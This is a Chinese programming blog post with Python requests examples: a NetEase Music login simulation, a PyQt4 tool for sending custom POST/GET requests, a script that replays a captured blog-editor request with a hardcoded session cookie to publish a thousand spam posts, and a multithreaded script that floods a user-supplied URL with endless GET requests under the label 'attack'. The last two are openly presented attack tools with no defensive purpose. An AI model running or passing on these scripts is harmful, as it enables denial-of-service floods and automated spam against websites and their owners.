zoukankan      html  css  js  c++  java
  • Python requests模拟登录

    Python requests模拟登录

     1 #!/usr/bin/env python
     2 # encoding: UTF-8
     3 import json
     4 import requests  # 跟urllib,urllib2类似,
     5 import hashlib
     6 
     7 default_timeout = 10
     8 
     9 
    10 class NetEase:
    11     def __init__(self):
    12         self.header = {
    13             'Accept': '*/*',
    14             'Accept-Encoding': 'gzip,deflate,sdch',
    15             'Accept-Language': 'zh-CN,zh;q=0.8,gl;q=0.6,zh-TW;q=0.4',
    16             'Connection': 'keep-alive',
    17             'Content-Type': 'application/x-www-form-urlencoded',
    18             'Host': 'music.163.com',
    19             'Referer': 'http://music.163.com/search/',
    20             'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36'
    21         }
    22         self.cookies = {
    23             'appver': '1.5.2'
    24         }
    25 
    26     def httpRequest(self, method, action, query=None, urlencoded=None, callback=None, timeout=None):
    27         if (method == 'GET'):
    28             ## url = action if (query == None) else (action + '?' + query)
    29             connection = requests.get(action, headers=self.header, timeout=default_timeout, params=query)
    30 
    31         elif (method == 'POST'):
    32             connection = requests.post(
    33                 action,
    34                 data=query,
    35                 headers=self.header,
    36                 timeout=default_timeout
    37             )
    38 
    39         connection.encoding = "UTF-8"
    40         connection = json.loads(connection.text)
    41         return connection
    42 
    43     # 登录
    44     def login(self, username, password):
    45         action = 'http://music.163.com/api/login/'
    46         data = {
    47             'username': username,
    48             'password': hashlib.md5(password).hexdigest(),
    49             'rememberLogin': 'true'
    50         }
    51         try:
    52             return self.httpRequest('POST', action, data)
    53         except Exception, e:
    54             return {'code': 501}
    55 
    56 
    57 Login = NetEase()
    58 data = Login.login('User','UserPassWord')
    59 if data['code']==200:
    60     print('登录成功, UserId:'+str(data['account']['id']))
    61 else:
    62     print('登录错误,错误Code:'+str(data['code']))

     结果:

    登录成功, UserId:18772773

    登录错误,错误Code:502


    Pyqt 模拟提交Post Get 数据

    代码:

      1 #!/usr/bin/python  
      2 # -*-coding:utf-8-*-
      3 from PyQt4.QtGui import *
      4 from PyQt4.QtCore import *
      5 import requests, sys
      6 
      7 reload(sys)
      8 sys.setdefaultencoding("utf-8")
      9 
     10 # 主入口文件
     11 class MainWidget(QDialog):
     12     def __init__(self, parent=None):
     13         super(MainWidget, self).__init__(parent)
     14         self.setMinimumSize(100, 100)
     15         self.setWindowFlags(Qt.CustomizeWindowHint | Qt.WindowCloseButtonHint)
     16         self.setWindowOpacity(0.7)
     17 
     18         # URL
     19         self.urllabel = QLabel(u'提交URL:')
     20         self.url = QLineEdit(u'')
     21         self.methodtype = QComboBox()
     22         self.methodtype.addItem('POST')
     23         self.methodtype.addItem('GET')
     24         self.UrlLoayout = QHBoxLayout()
     25         self.UrlLoayout.addWidget(self.urllabel)
     26         self.UrlLoayout.addWidget(self.url)
     27         self.UrlLoayout.addSpacing(20)  # 添加一个20px的空间距离 且不带弹性
     28         self.UrlLoayout.addWidget(self.methodtype)
     29 
     30         # 添加头部group
     31         self.headDict = {}
     32         self.headPostArrayKey = 0
     33         self.HeadGroupBox = QGroupBox(u'头部数据')
     34         self.HeadGroupBox.setMinimumHeight(200)  # 高度最小值
     35 
     36         self.HeadAddParam = QPushButton(u'+')
     37         self.headDict[str(self.headPostArrayKey) + '_key'] = QLineEdit()
     38         self.headDict[str(self.headPostArrayKey) + '_value'] = QLineEdit()
     39         self.HeadGroupBoxLayout = QGridLayout()
     40         self.HeadGroupBoxLayout.addWidget(self.HeadAddParam, 0, 0)
     41         self.HeadGroupBoxLayout.addWidget(QLabel(u'Key:'), 1, 0)
     42         self.HeadGroupBoxLayout.addWidget(self.headDict[str(self.headPostArrayKey) + '_key'], 1, 1)
     43         self.HeadGroupBoxLayout.addWidget(QLabel(u'Value:'), 1, 2)
     44         self.HeadGroupBoxLayout.addWidget(self.headDict[str(self.headPostArrayKey) + '_value'], 1, 3)
     45         self.HeadGroupBox.setLayout(self.HeadGroupBoxLayout)
     46         self.HeadAddParam.clicked.connect(self.addHeadParam)
     47 
     48         # 添加Body group
     49         self.bodyDict = {}
     50         self.bodyPostArrayKey = 0
     51         self.BodyGroupBox = QGroupBox(u'正文数据')
     52         self.BodyGroupBox.setMinimumHeight(200)
     53         self.BodyAddParam = QPushButton(u'+')
     54         self.bodyDict[str(self.bodyPostArrayKey) + '_key'] = QLineEdit(u'')
     55         self.bodyDict[str(self.bodyPostArrayKey) + '_value'] = QLineEdit(u'')
     56         self.BodyGroupBoxLayout = QGridLayout()
     57         self.BodyGroupBoxLayout.addWidget(self.BodyAddParam, 0, 0)
     58         self.BodyGroupBoxLayout.addWidget(QLabel(u'Key:'), 1, 0)
     59         self.BodyGroupBoxLayout.addWidget(self.bodyDict[str(self.bodyPostArrayKey) + '_key'], 1, 1)
     60         self.BodyGroupBoxLayout.addWidget(QLabel(u'Value:'), 1, 2)
     61         self.BodyGroupBoxLayout.addWidget(self.bodyDict[str(self.bodyPostArrayKey) + '_value'], 1, 3)
     62         self.BodyGroupBox.setLayout(self.BodyGroupBoxLayout)
     63         self.BodyAddParam.clicked.connect(self.addBodyParam)
     64 
     65         # 提交按钮
     66         self.btnPost = QPushButton(u'提交')
     67         self.postbtnLoayout = QHBoxLayout()
     68         self.postbtnLoayout.addStretch()
     69         self.postbtnLoayout.addWidget(self.btnPost)
     70 
     71 
     72         # Main布局
     73         main_layout = QVBoxLayout()
     74         main_layout.addLayout(self.UrlLoayout)
     75         main_layout.addWidget(self.HeadGroupBox)
     76         main_layout.addWidget(self.BodyGroupBox)  # addWidget 添加的是Qobject
     77         main_layout.addLayout(self.postbtnLoayout)  # addLayout 添加的是 Layout
     78 
     79         main_layout.setSpacing(0)
     80         self.setLayout(main_layout)
     81         self.connect(self.btnPost, SIGNAL('clicked()'), self.postData)
     82 
     83     # 发送数据
     84     def postData(self):
     85         self.headdictdata = {}
     86         self.bodydictdata = {}
     87         LOOPpar1 = {'1': self.headDict.items(), 2: self.bodyDict.items()}
     88         LOOPpar2 = {'1': self.headdictdata, 2: self.bodydictdata}
     89         for Looptype in LOOPpar1:
     90             for k, v in LOOPpar1[Looptype]:
     91                 temp = k.split('_')
     92                 if temp[1] == 'key':
     93                     if LOOPpar2[Looptype].has_key(temp[0]):
     94                         LOOPpar2[Looptype][temp[0]]['key'] = str(v.text())
     95                     else:
     96                         LOOPpar2[Looptype][temp[0]] = {'key': str(v.text())}
     97 
     98                 elif temp[1] == 'value':
     99                     if LOOPpar2[Looptype].has_key(temp[0]):
    100                         LOOPpar2[Looptype][temp[0]]['value'] = str(v.text())
    101                     else:
    102                         LOOPpar2[Looptype][temp[0]] = {'value': str(v.text())}
    103 
    104         url = self.url.text()
    105         method = self.methodtype.currentText()
    106         if not url:
    107             QMessageBox.warning(self, u'notice', 'URL must fill in', QMessageBox.Yes)
    108             self.url.cursor()
    109             return False
    110         self.Theading = TheadingPost({'url': str(url), 'method': str(method), 'headdictdata': self.headdictdata,
    111                                       'bodydictdata': self.bodydictdata})
    112         self.connect(self.Theading, SIGNAL("updateresult"), self.updateResult)  # 创建一个信号,在线程状态结果时发射触发
    113         self.Theading.start()  # 线程开始
    114 
    115     def updateResult(self, resdata):
    116         if resdata['status'] == 1:
    117             QMessageBox.about(self, u"返回数据", str(resdata['msg']))
    118         else:
    119             QMessageBox.warning(self, u'错误提示!', str(resdata['msg']), QMessageBox.Yes)
    120 
    121 
    122     # 添加头部Data
    123     def addHeadParam(self):
    124         sts = str(self.headPostArrayKey + 1)
    125         self.headDict[sts + '_key'] = QLineEdit()
    126         self.headDict[sts + '_value'] = QLineEdit()
    127         self.HeadGroupBoxLayout.addWidget(QLabel(u'Key:'))
    128         self.HeadGroupBoxLayout.addWidget(self.headDict[sts + '_key'])
    129         self.HeadGroupBoxLayout.addWidget(QLabel(u'Value:'))
    130         self.HeadGroupBoxLayout.addWidget(self.headDict[sts + '_value'])
    131         self.headPostArrayKey += 1
    132 
    133     # 添加Body Data
    134     def addBodyParam(self):
    135         sts = str(self.bodyPostArrayKey + 1)
    136         self.bodyDict[sts + '_key'] = QLineEdit()
    137         self.bodyDict[sts + '_value'] = QLineEdit()
    138 
    139         self.BodyGroupBoxLayout.addWidget(QLabel(u'Key:'))
    140         self.BodyGroupBoxLayout.addWidget(self.bodyDict[sts + '_key'])
    141         self.BodyGroupBoxLayout.addWidget(QLabel(u'Value:'))
    142         self.BodyGroupBoxLayout.addWidget(self.bodyDict[sts + '_value'])
    143         self.bodyPostArrayKey += 1
    144 
    145 
    146 # 线程提交类
    147 class TheadingPost(QThread):
    148     def __init__(self, dict):
    149         super(TheadingPost, self).__init__()
    150         self.dict = dict
    151 
    152     def run(self):
    153         self.action = self.dict['url']
    154         self.headerdict = self.dict['headdictdata'].values()
    155         self.datadict = self.dict['bodydictdata'].values()
    156         self.header = {}
    157         for hv in self.headerdict:
    158             self.header[hv['key']] = hv['value']
    159         self.data = {}
    160         for dv in self.datadict:
    161             self.data[dv['key']] = dv['value']
    162         self.method = self.dict['method']
    163         result = {}
    164         result['status'] = 0
    165         try:
    166             returndata = self.httpRequest(self.method, self.action, self.data)
    167             result['status'] = 1
    168             result['msg'] = returndata
    169         except Exception, e:
    170             result['status'] = 2
    171             result['msg'] = e
    172 
    173         self.emit(SIGNAL("updateresult"), result)
    174 
    175 
    176     def httpRequest(self, method, action, query=None):
    177         default_timeout = 10
    178         if (method == 'GET'):
    179             print('sd')
    180             # url = action if (query == None) else (action + '?' + query)
    181             connection = requests.get(action, headers=self.header, timeout=default_timeout, params=query)
    182         elif (method == 'POST'):
    183             connection = requests.post(
    184                 action,
    185                 data=query,
    186                 headers=self.header,
    187                 timeout=default_timeout
    188             )
    189         connection.encoding = "UTF-8"
    190         return connection.text
    191 
    192 
    193 if __name__ == "__main__":
    194     app = QApplication(sys.argv)
    195     main_widget = MainWidget()
    196     main_widget.show()
    197     sys.exit(app.exec_())

    效果:


    Requests请求攻击N次方

    # -*- coding: UTF8 -*-
    import json, time
    import requests  # 跟urllib,urllib2类似,
    import hashlib
    '''
    通过Fiddler 获取POST 请求数据以及url 模拟攻击请求
    
    '''
    
    
    default_timeout = 10
    Chinese_truth='''
    <p>   惟一经&nbsp; 勤有功&nbsp; 戏无益<br />戒之哉&nbsp; 宜勉力</p>
    '''
    class Blog:
        def __init__(self):
            self.header = {
                'Accept': 'text/html, application/xhtml+xml, */*',
                'Accept-Encoding': 'gzip, deflate',
                'Accept-Language': 'zh-CN',
                'Connection': 'keep-alive',
                'Content-Length': '23318',
                'Content-Type': 'application/x-www-form-urlencoded',
                'Host': 'i.blog.com',
                'DNT': '1',
                'Cookie': '_ga=GA1.2.1424877390.1410319541; __gads=ID=334e00c33dad0ab8:T=1410319451:S=ALNI_Mag0cSHb4q1GHVu3wgmh0s9Urb43w; _gat=1; .Cookie=991B7FBD8D86CEF8AD2B649374088AD5E26700DADDE9C66394CD2DD4F1B365813DCBE7E202970ABBB426A0495C082EAD152F827581DD10B8AF6A2A1D85A045B295266B39B7A56F5B7537282220081E5A96A779C8; SERVERID=cd834d867596395032ab14c190885cfa|1435568930|1435568862',
                'Referer': 'i.blog.com/EditPosts.asp?opt=1',
                'User-Agent': 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
                'Pragma':'no-cache'
            }
    
        def httpRequest(self, method, action, query=None, urlencoded=None, callback=None, timeout=None):
            if (method == 'GET'):
                url = action if (query == None) else (action + '?' + query)
                connection = requests.get(url, headers=self.header, timeout=default_timeout)
            elif (method == 'POST'):
                connection = requests.post(
                    action,
                    data=query,
                    headers=self.header,
                    timeout=default_timeout
                )
            connection.encoding = "UTF-8"
            connection = json.loads(connection.text)
            return connection
    
    
        def truth(self,num):
            action = 'http://i.blog.com/EditPost.asp?opt=1'
            data = {
                '__VIEWSTATE': '',
                '__VIEWSTATEGENERATOR':'FE27D355',
                'Editor$Edit$txbTitle': 'Test.'+str(num),
                'Editor$Edit$EditorBody': '<p>'+Chinese_truth+'</p>',
                'Editor$Edit$Advanced$txbEntryName': '',
                'Editor$Edit$Advanced$txbExcerpt': '',
                'Editor$Edit$Advanced$txbTag': '',
                'Editor$Edit$Advanced$tbEnryPassword': '',
                'Editor$Edit$lkbPost': '发布'
            }
            time.sleep(0.5)
            try:
                return self.httpRequest('POST', action, data)
            except Exception, e:
                return {'code': e}
    
    
    
    
    Classical = Blog()
    for i in range(3000, 4000):
        print(i)
        data = Classical.truth(i)
        

     requests 使用线程代码

    # -*- coding: UTF8 -*-
    import threading
    import requests
    
    def attack(index, url):
        cnt = 0
        while True:
            cnt += 1
            x = requests.get(url)
            print("[%d]  ==  %d || %s
    "%(index, cnt, x.content.decode('utf-8')[0:50]))
    
    if __name__ == "__main__":
        url = input("Input the URL: ")
        x = int(input("Input the amount of threads: "))
    
        pool = []
        for i in range(x):
            pool.append(threading.Thread(target = attack, args = (i, url)))
    
        print("Start attack....")
        for i in range(x):
            pool[i].start()
  • 相关阅读:
    [转]SQL Server 索引结构及其使用一
    平台无关的RICHTEXT实现
    谈谈时间管理陶哲轩
    BigNumCalculator
    关于构造和析构的几点拟人化思考
    ScaleForm十六戒言
    VAX对多种格式增加支持
    关于知识,经验,能力
    AutoTidyMyFiles
    王石语摘
  • 原文地址:https://www.cnblogs.com/dcb3688/p/4390085.html
Copyright © 2011-2022 走看看